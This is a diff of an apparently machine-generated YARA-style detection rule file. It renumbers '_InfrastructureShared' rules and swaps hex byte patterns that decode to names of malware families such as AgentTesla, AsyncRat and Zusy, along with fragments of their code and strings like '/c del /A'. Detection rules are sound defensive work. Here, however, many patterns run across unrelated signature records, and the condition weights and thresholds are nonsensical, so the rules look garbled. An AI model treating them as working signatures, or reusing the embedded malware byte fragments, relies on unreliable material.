00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 } //-32762 + $a_54_4 = {00 0a 00 3c 00 03 50 09 03 50 8e 69 6a 5d b7 03 50 09 03 50 8e 69 6a 5d b7 91 07 09 07 8e 69 6a 5d b7 91 61 03 50 09 17 6a d6 03 50 8e 69 6a 5d b7 91 da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 01 00 13 80 01 67 65 74 5f 52 65 73 } //8535 + condition: + ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*32371+(#a_28_2 & 1)*2+(#a_01_3 & 1)*-32762+(#a_54_4 & 1)*8535) >=10 + +} +rule _InfrastructureShared_11729{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 50 50 51 21 4d 54 42 00 0a 00 37 03 02 00 04 28 90 01 01 05 00 06 80 90 01 01 00 00 04 7e 90 01 01 00 00 04 73 90 01 01 00 00 06 80 90 01 01 00 } //21539 + $a_90_1 = {01 00 00 04 7e 90 01 01 00 00 04 7e 90 00 01 00 35 01 50 61 73 74 65 5f 62 69 6e 00 42 53 5f 4f 44 00 48 77 5f 69 64 00 44 65 5f 6c 61 79 00 47 72 6f 75 70 00 41 6e 74 69 5f 50 72 6f 63 65 73 73 00 41 6e 5f 74 69 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 57 21 4d 54 42 00 0a 00 3c 00 } //1024 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*1024) >=11 + +} +rule _InfrastructureShared_11730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -120713,7 +128645,7 @@ rule _InfrastructureShared_11019{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=12 } -rule _InfrastructureShared_11020{ +rule _InfrastructureShared_11731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -120724,7 +128656,7 @@ rule _InfrastructureShared_11020{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=12 } -rule _InfrastructureShared_11021{ +rule _InfrastructureShared_11732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -120737,7 +128669,7 @@ rule _InfrastructureShared_11021{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*1025+(#a_46_2 & 1)*-32752+(#a_73_3 & 1)*17005) >=12 } -rule _InfrastructureShared_11022{ +rule _InfrastructureShared_11733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0b 00 21 " @@ -120748,42 +128680,64 @@ rule _InfrastructureShared_11022{ $a_9d_4 = {01 00 04 01 95 58 bb 91 01 00 04 01 d3 58 9d ce 01 00 04 01 02 d9 c8 5f 01 00 04 01 75 6e 4d 61 00 00 78 9f 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 42 21 4d 54 42 00 0a 00 3a 02 a2 14 14 28 90 01 04 13 06 11 06 14 72 90 01 03 70 18 8d 90 01 04 25 16 16 8c 90 01 04 a2 25 17 06 a2 14 14 28 90 01 05 28 90 01 05 72 90 01 03 70 } //1281 $a_00_5 = {11 07 2a 90 00 02 00 07 80 01 52 65 76 65 72 73 65 02 00 08 80 01 47 65 74 54 79 70 65 73 02 00 09 80 01 47 65 74 4d 65 74 68 6f } //1811 $a_6e_7 = {6f 6b 65 00 00 78 9f 00 00 1f 00 1f 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 49 51 00 0a 00 09 00 41 6e 74 69 76 69 72 75 73 0a 00 0c 00 73 68 } //384 - $a_64_8 = {63 63 65 73 73 0a 00 0c 00 48 54 54 50 2f 31 2e 30 20 32 30 30 01 00 20 00 0f b7 45 fe 01 f8 0f be 10 0f be 4f 02 31 ca 88 10 66 ff 45 fe 0f b7 45 fe 0f b7 55 fc 39 d0 7c 01 00 1b 02 83 e9 10 eb 0f 8b 44 24 08 0f b6 04 08 83 f0 90 01 01 88 04 0b 41 39 d1 72 90 00 00 00 78 a0 00 00 01 00 01 00 01 00 21 } //29281 - $a_46_9 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 2e 41 21 62 69 74 00 01 00 6f 01 72 29 00 00 70 0a 06 72 65 00 00 70 28 2a 00 00 0a 0b 28 2b 00 00 0a 0c 7e 2c 00 00 0a 72 77 00 00 70 6f 2d 00 00 0a 72 cf } //16675 - $a_08_10 = {72 d1 00 00 70 28 2a 00 00 0a 6f 2e 00 00 0a 00 72 ed 00 00 70 28 2f 00 00 0a 26 20 10 27 00 00 28 30 00 00 0a 00 7e 2c 00 00 0a 72 77 00 00 70 6f 2d 00 00 0a 72 cf 00 00 70 07 6f 2e 00 00 0a 00 2a 00 00 78 a0 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 46 41 31 } //0 + $a_64_8 = {63 63 65 73 73 0a 00 0c 00 48 54 54 50 2f 31 2e 30 20 32 30 30 01 00 20 00 0f b7 45 fe 01 f8 0f be 10 0f be 4f 02 31 ca 88 10 66 ff 45 fe 0f b7 45 fe 0f b7 55 fc 39 d0 7c 01 00 1b 02 83 e9 10 eb 0f 8b 44 24 08 0f b6 04 08 83 f0 90 01 01 88 04 0b 41 39 d1 72 90 00 00 00 78 9f 00 00 3c 00 3c 00 04 00 21 } //29281 + $a_4c_9 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 2c 01 c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 89 74 24 0c c7 44 24 08 60 42 40 00 c7 44 24 04 34 40 40 00 c7 04 24 00 } //21539 condition: - ((#a_4c_0 & 1)*21539+(#a_7b_1 & 1)*1581+(#a_6c_2 & 1)*1024+(#a_9d_4 & 1)*1281+(#a_00_5 & 1)*1811+(#a_6e_7 & 1)*384+(#a_64_8 & 1)*29281+(#a_46_9 & 1)*16675+(#a_08_10 & 1)*0) >=13 + ((#a_4c_0 & 1)*21539+(#a_7b_1 & 1)*1581+(#a_6c_2 & 1)*1024+(#a_9d_4 & 1)*1281+(#a_00_5 & 1)*1811+(#a_6e_7 & 1)*384+(#a_64_8 & 1)*29281+(#a_4c_9 & 1)*21539) >=13 } -rule _InfrastructureShared_11023{ +rule _InfrastructureShared_11734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 42 21 4d 54 42 00 0a 00 3a 02 a2 14 14 28 90 01 04 13 06 11 06 14 72 90 01 03 70 18 8d 90 01 04 25 16 16 8c 90 01 04 a2 25 17 06 a2 14 14 28 90 01 05 28 90 01 05 72 90 } //18467 $a_13_1 = {2b 00 11 07 2a 90 00 02 00 07 80 01 52 65 76 65 72 73 65 02 00 08 80 01 47 65 74 54 79 70 65 73 02 00 09 80 01 47 65 74 4d 65 74 68 6f 64 02 00 06 80 01 49 6e 76 6f 6b 65 00 00 78 9f 00 00 1f 00 1f 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 49 51 00 0a 00 09 00 } //769 - $a_69_2 = {69 72 75 73 0a 00 0c 00 73 68 61 72 65 64 61 63 63 65 73 73 0a 00 0c 00 48 54 54 50 2f 31 2e 30 20 32 30 30 01 00 20 00 0f b7 45 fe 01 f8 0f be 10 0f be 4f 02 31 ca 88 10 66 ff 45 fe 0f b7 45 fe 0f b7 55 fc 39 d0 7c 01 00 1b 02 83 e9 10 eb 0f 8b 44 24 08 0f b6 04 08 83 f0 90 01 01 88 04 0b 41 39 d1 72 90 00 00 00 78 a0 00 00 01 00 01 00 01 00 21 } //28225 - $a_46_3 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 2e 41 21 62 69 74 00 01 00 6f 01 72 29 00 00 70 0a 06 72 65 00 00 70 28 2a 00 00 0a 0b 28 2b 00 00 0a 0c 7e 2c 00 00 0a 72 77 00 00 70 6f 2d 00 00 0a 72 cf } //16675 - $a_08_4 = {72 d1 00 00 70 28 2a 00 00 0a 6f 2e 00 00 0a 00 72 ed 00 00 70 28 2f 00 00 0a 26 20 10 27 00 00 28 30 00 00 0a 00 7e 2c 00 00 0a 72 77 00 00 70 6f 2d 00 00 0a 72 cf 00 00 70 07 6f 2e 00 00 0a 00 2a 00 00 78 a0 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 46 41 31 } //0 + $a_69_2 = {69 72 75 73 0a 00 0c 00 73 68 61 72 65 64 61 63 63 65 73 73 0a 00 0c 00 48 54 54 50 2f 31 2e 30 20 32 30 30 01 00 20 00 0f b7 45 fe 01 f8 0f be 10 0f be 4f 02 31 ca 88 10 66 ff 45 fe 0f b7 45 fe 0f b7 55 fc 39 d0 7c 01 00 1b 02 83 e9 10 eb 0f 8b 44 24 08 0f b6 04 08 83 f0 90 01 01 88 04 0b 41 39 d1 72 90 00 00 00 78 9f 00 00 3c 00 3c 00 04 00 21 } //28225 + $a_4c_3 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 2c 01 c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 89 74 24 0c c7 44 24 08 60 42 40 00 c7 44 24 04 34 40 40 00 c7 04 24 00 } //21539 condition: - ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*769+(#a_69_2 & 1)*28225+(#a_46_3 & 1)*16675+(#a_08_4 & 1)*0) >=18 + ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*769+(#a_69_2 & 1)*28225+(#a_4c_3 & 1)*21539) >=18 } -rule _InfrastructureShared_11024{ +rule _InfrastructureShared_11735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 49 51 00 0a 00 09 00 41 6e 74 69 76 69 72 75 73 0a 00 0c 00 73 68 61 72 65 64 61 63 63 65 73 73 0a 00 0c 00 48 54 54 50 2f 31 2e 30 20 32 30 30 01 00 20 00 0f } //18467 - $a_01_1 = {f8 0f be 10 0f be 4f 02 31 ca 88 10 66 ff 45 fe 0f b7 45 fe 0f b7 55 fc 39 d0 7c 01 00 1b 02 83 e9 10 eb 0f 8b 44 24 08 0f b6 04 08 83 f0 90 01 01 88 04 0b 41 39 d1 72 90 00 00 00 78 a0 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 2e 41 21 62 69 74 00 01 00 6f 01 72 29 00 00 70 0a 06 72 65 00 00 70 28 2a 00 00 0a 0b 28 2b 00 00 0a 0c 7e 2c 00 00 0a 72 77 00 00 70 6f 2d 00 00 0a 72 cf 00 00 70 08 72 d1 00 00 70 28 2a 00 00 0a 6f 2e 00 00 0a 00 72 ed 00 00 70 28 2f 00 00 0a 26 20 10 27 00 00 28 30 00 00 0a 00 7e 2c 00 00 0a 72 77 00 00 70 6f 2d 00 00 0a 72 cf 00 00 70 07 6f 2e 00 00 0a 00 2a 00 00 78 a0 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 } //17847 - $a_74_2 = {65 73 6c 61 2e 44 46 41 31 21 4d 54 42 00 01 00 6d 01 0c 16 13 05 2b 5c 00 28 34 00 00 0a 72 8f 00 00 70 6f 35 00 00 0a 13 06 11 06 11 05 1f 16 5d 91 13 07 07 11 05 91 11 07 61 13 08 11 05 17 58 08 5d 13 09 07 11 09 91 13 0a 11 08 11 0a 59 13 0b 20 ff 00 00 00 13 0c 11 0b 20 00 01 00 00 58 11 0c 5f 13 0d 07 11 05 11 0d d2 9c 00 } //25959 - $a_58_3 = {05 11 05 08 fe 04 13 0e 11 0e 2d 99 00 00 78 a0 00 00 01 00 01 00 01 } //1297 - $a_48_4 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 46 43 31 21 4d 54 42 00 } //8448 + $a_01_1 = {f8 0f be 10 0f be 4f 02 31 ca 88 10 66 ff 45 fe 0f b7 45 fe 0f b7 55 fc 39 d0 7c 01 00 1b 02 83 e9 10 eb 0f 8b 44 24 08 0f b6 04 08 83 f0 90 01 01 88 04 0b 41 39 d1 72 90 00 00 00 78 9f 00 00 3c 00 3c 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 2c 01 c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 89 74 24 0c c7 44 24 08 60 42 40 00 c7 44 24 04 34 40 40 00 c7 04 24 00 00 00 00 e8 0f 00 27 01 83 ec 0c 8d bd d8 fb ff ff be 3e 40 40 00 b9 16 00 00 00 f3 a4 8d bd ee fb ff ff 66 b9 f2 01 31 c0 f3 aa 89 1c 24 e8 0f 00 0c 01 7a 31 79 75 6e 79 34 6e 2e 63 65 72 0f 00 09 01 2f 63 20 64 65 6c 20 2f 41 00 00 78 9f 00 00 66 00 66 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 } //17847 + $a_41_2 = {2e 52 50 42 21 4d 54 42 00 64 00 26 02 04 00 00 8d 90 01 01 00 00 01 25 d0 02 00 00 04 28 22 00 00 0a 13 2e 11 39 20 90 01 04 5a 20 90 01 04 61 38 90 00 01 00 1a 02 11 33 11 36 11 2e 11 31 11 36 58 95 9e 11 36 17 58 13 36 20 90 01 04 38 90 00 01 } //25454 + $a_28_3 = {00 00 } //10240 + $a_90_4 = {01 00 00 0a 6f 90 01 01 00 00 0a 90 01 01 08 20 90 01 04 25 2b 06 20 90 01 04 25 26 38 90 00 00 00 78 a0 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 2e 41 21 62 69 74 00 01 00 6f 01 72 29 00 00 70 0a 06 72 65 00 00 70 28 2a 00 00 0a 0b 28 2b 00 00 0a 0c 7e 2c 00 } //-24021 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*17847+(#a_74_2 & 1)*25959+(#a_58_3 & 1)*1297+(#a_48_4 & 1)*8448) >=31 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*17847+(#a_41_2 & 1)*25454+(#a_28_3 & 1)*10240+(#a_90_4 & 1)*-24021) >=31 } -rule _InfrastructureShared_11025{ +rule _InfrastructureShared_11736{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 2c 01 c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 89 74 24 0c c7 44 24 08 60 42 40 00 c7 44 24 04 34 40 40 00 c7 04 24 00 } //21539 + $a_83_2 = {0c } //9984 + $a_fb_3 = {ff be 3e 40 40 00 b9 16 00 00 00 f3 a4 8d bd ee fb ff ff 66 b9 f2 01 31 c0 f3 aa 89 1c 24 e8 0f 00 0c 01 7a 31 79 75 6e 79 34 6e 2e 63 65 72 0f 00 09 01 2f 63 20 64 65 6c 20 2f 41 00 00 78 9f 00 00 66 00 66 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 52 50 42 21 4d 54 42 00 64 00 26 02 04 00 00 8d 90 01 01 00 00 01 25 d0 02 00 00 04 28 22 00 00 0a 13 2e 11 39 20 90 01 04 5a 20 90 01 04 61 38 90 00 01 00 1a 02 11 33 11 36 11 2e 11 31 11 36 58 95 9e 11 36 17 58 13 36 20 90 01 04 38 90 00 01 00 28 02 28 02 00 00 2b a2 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 90 01 01 08 20 90 01 04 25 2b 06 20 90 } //-17011 + condition: + ((#a_4c_0 & 1)*21539+(#a_83_2 & 1)*9984+(#a_fb_3 & 1)*-17011) >=60 + +} +rule _InfrastructureShared_11737{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,66 00 66 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 52 50 42 21 4d 54 42 00 64 00 26 02 04 00 00 8d 90 01 01 00 00 01 25 d0 02 00 00 04 28 22 00 00 0a 13 2e 11 39 20 90 01 04 5a 20 90 01 04 61 38 } //21539 + $a_00_1 = {1a } //144 + $a_11_2 = {11 2e 11 31 11 36 58 95 9e 11 36 17 58 13 36 20 90 01 04 38 90 00 01 00 28 02 28 02 00 00 2b a2 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 90 01 01 08 20 } //4354 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144+(#a_11_2 & 1)*4354) >=102 + +} +rule _InfrastructureShared_11738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120793,7 +128747,7 @@ rule _InfrastructureShared_11025{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11026{ +rule _InfrastructureShared_11739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120803,7 +128757,7 @@ rule _InfrastructureShared_11026{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11027{ +rule _InfrastructureShared_11740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120813,7 +128767,7 @@ rule _InfrastructureShared_11027{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11028{ +rule _InfrastructureShared_11741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120823,7 +128777,7 @@ rule _InfrastructureShared_11028{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11029{ +rule _InfrastructureShared_11742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120833,7 +128787,7 @@ rule _InfrastructureShared_11029{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11030{ +rule _InfrastructureShared_11743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120843,7 +128797,7 @@ rule _InfrastructureShared_11030{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11031{ +rule _InfrastructureShared_11744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120853,7 +128807,7 @@ rule _InfrastructureShared_11031{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11032{ +rule _InfrastructureShared_11745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120863,7 +128817,7 @@ rule _InfrastructureShared_11032{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11033{ +rule _InfrastructureShared_11746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120873,7 +128827,7 @@ rule _InfrastructureShared_11033{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11034{ +rule _InfrastructureShared_11747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120883,7 +128837,7 @@ rule _InfrastructureShared_11034{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11035{ +rule _InfrastructureShared_11748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120893,7 +128847,7 @@ rule _InfrastructureShared_11035{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11036{ +rule _InfrastructureShared_11749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -120904,7 +128858,7 @@ rule _InfrastructureShared_11036{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-10040) >=1 } -rule _InfrastructureShared_11037{ +rule _InfrastructureShared_11750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -120915,7 +128869,7 @@ rule _InfrastructureShared_11037{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*400) >=1 } -rule _InfrastructureShared_11038{ +rule _InfrastructureShared_11751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -120926,7 +128880,7 @@ rule _InfrastructureShared_11038{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*829) >=1 } -rule _InfrastructureShared_11039{ +rule _InfrastructureShared_11752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -120938,7 +128892,7 @@ rule _InfrastructureShared_11039{ ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*-14733+(#a_fc_2 & 1)*-14490) >=1 } -rule _InfrastructureShared_11040{ +rule _InfrastructureShared_11753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -120950,7 +128904,7 @@ rule _InfrastructureShared_11040{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*17863+(#a_3a_2 & 1)*28527) >=1 } -rule _InfrastructureShared_11041{ +rule _InfrastructureShared_11754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -120962,7 +128916,7 @@ rule _InfrastructureShared_11041{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_75_3 & 1)*14592) >=1 } -rule _InfrastructureShared_11042{ +rule _InfrastructureShared_11755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -120978,7 +128932,7 @@ rule _InfrastructureShared_11042{ ((#a_44_0 & 1)*19491+(#a_e9_1 & 1)*270+(#a_11_2 & 1)*3859+(#a_00_3 & 1)*2+(#a_4c_4 & 1)*8993+(#a_00_6 & 1)*114+(#a_6b_7 & 1)*30060) >=1 } -rule _InfrastructureShared_11043{ +rule _InfrastructureShared_11756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -120988,7 +128942,7 @@ rule _InfrastructureShared_11043{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11044{ +rule _InfrastructureShared_11757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120998,7 +128952,7 @@ rule _InfrastructureShared_11044{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11045{ +rule _InfrastructureShared_11758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121009,7 +128963,7 @@ rule _InfrastructureShared_11045{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28636) >=2 } -rule _InfrastructureShared_11046{ +rule _InfrastructureShared_11759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121020,7 +128974,7 @@ rule _InfrastructureShared_11046{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*1536) >=2 } -rule _InfrastructureShared_11047{ +rule _InfrastructureShared_11760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121030,7 +128984,7 @@ rule _InfrastructureShared_11047{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11048{ +rule _InfrastructureShared_11761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -121041,7 +128995,7 @@ rule _InfrastructureShared_11048{ ((#a_5f_0 & 1)*16931+(#a_00_2 & 1)*97) >=2 } -rule _InfrastructureShared_11049{ +rule _InfrastructureShared_11762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -121053,7 +129007,7 @@ rule _InfrastructureShared_11049{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_00_2 & 1)*-17917) >=2 } -rule _InfrastructureShared_11050{ +rule _InfrastructureShared_11763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -121064,7 +129018,7 @@ rule _InfrastructureShared_11050{ ((#a_4c_0 & 1)*21539+(#a_39_1 & 1)*12849) >=2 } -rule _InfrastructureShared_11051{ +rule _InfrastructureShared_11764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -121078,7 +129032,7 @@ rule _InfrastructureShared_11051{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*19794+(#a_53_2 & 1)*14958+(#a_1f_3 & 1)*4358+(#a_02_4 & 1)*1) >=2 } -rule _InfrastructureShared_11052{ +rule _InfrastructureShared_11765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121089,7 +129043,7 @@ rule _InfrastructureShared_11052{ ((#a_46_0 & 1)*16675+(#a_02_2 & 1)*4352) >=3 } -rule _InfrastructureShared_11053{ +rule _InfrastructureShared_11766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121101,7 +129055,7 @@ rule _InfrastructureShared_11053{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25972+(#a_13_2 & 1)*1041) >=3 } -rule _InfrastructureShared_11054{ +rule _InfrastructureShared_11767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121113,7 +129067,7 @@ rule _InfrastructureShared_11054{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_00_2 & 1)*-11683) >=3 } -rule _InfrastructureShared_11055{ +rule _InfrastructureShared_11768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121124,7 +129078,7 @@ rule _InfrastructureShared_11055{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110) >=3 } -rule _InfrastructureShared_11056{ +rule _InfrastructureShared_11769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121136,7 +129090,7 @@ rule _InfrastructureShared_11056{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29811+(#a_61_2 & 1)*25633) >=3 } -rule _InfrastructureShared_11057{ +rule _InfrastructureShared_11770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121148,7 +129102,7 @@ rule _InfrastructureShared_11057{ ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*-28473+(#a_00_2 & 1)*1026) >=3 } -rule _InfrastructureShared_11058{ +rule _InfrastructureShared_11771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121160,7 +129114,7 @@ rule _InfrastructureShared_11058{ ((#a_46_0 & 1)*21283+(#a_50_1 & 1)*848+(#a_79_2 & 1)*25697) >=3 } -rule _InfrastructureShared_11059{ +rule _InfrastructureShared_11772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ 